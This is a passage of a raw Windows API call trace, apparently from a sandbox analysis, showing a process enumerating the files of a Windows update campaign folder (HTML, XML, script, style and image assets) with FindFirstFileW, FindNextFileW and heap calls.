cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0239.541] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0239.543] GetProcessHeap () returned 0xc10000 [0239.543] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0239.543] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0239.543] GetProcessHeap () returned 0xc10000 [0239.543] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0239.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0239.546] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.546] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0239.546] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0239.546] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0239.546] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0239.546] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0239.546] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0239.548] GetProcessHeap () returned 0xc10000 [0239.548] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0239.548] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0239.548] GetProcessHeap () returned 0xc10000 [0239.548] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0239.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0240.223] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.223] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.224] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.224] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.224] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.224] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.224] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0240.225] GetProcessHeap () returned 0xc10000 [0240.226] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.226] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0240.226] GetProcessHeap () returned 0xc10000 [0240.226] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0240.230] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.230] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa089, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0240.230] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0240.230] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0240.230] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0240.230] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0240.230] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0240.232] GetProcessHeap () returned 0xc10000 [0240.232] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.232] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0240.232] GetProcessHeap () returned 0xc10000 [0240.232] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0240.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0240.236] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.236] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x6f0d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170517_Lock_200.gif", cAlternateFileName="201705~1.GIF")) returned 1 [0240.236] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x4b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Back_0000_Hover.png", cAlternateFileName="BACK_0~1.PNG")) returned 1 [0240.236] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="Back_0001_Static.png", cAlternateFileName="BACK_0~2.PNG")) returned 1 [0240.236] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8f47, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x916d8f47, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1ab83100, ftLastWriteTime.dwHighDateTime=0x1d2cb1b, nFileSizeHigh=0x0, nFileSizeLow=0x152b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery-3.1.1.min.js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lock-Confirmation-page-350.png", cAlternateFileName="LOCK-C~1.PNG")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1c907700, ftLastWriteTime.dwHighDateTime=0x1d2a6ca, nFileSizeHigh=0x0, nFileSizeLow=0x237b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Picture2_80.jpg", cAlternateFileName="PICTUR~1.JPG")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x28828, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacyContentWrapper.min.js", cAlternateFileName="PRIVAC~1.JS")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5e7dfd00, ftLastWriteTime.dwHighDateTime=0x1d2f192, nFileSizeHigh=0x0, nFileSizeLow=0x3e1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="script.min.js", cAlternateFileName="SCRIPT~1.JS")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919fa093, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x919fa093, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="style.min.css", cAlternateFileName="STYLEM~1.CSS")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a20320, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91a20320, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="style_ltr.min.css", cAlternateFileName="STYLE_~1.CSS")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="style_rtl.min.css", cAlternateFileName="STYLE_~2.CSS")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x585d4e00, ftLastWriteTime.dwHighDateTime=0x1d29e39, nFileSizeHigh=0x0, nFileSizeLow=0x3f73, dwReserved0=0x0, dwReserved1=0x0, cFileName="Win10_Brand.png", cAlternateFileName="WIN10_~1.PNG")) returned 1 [0240.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 1 [0240.238] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 0 [0240.238] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0240.239] GetProcessHeap () returned 0xc10000 [0240.239] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0240.239] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 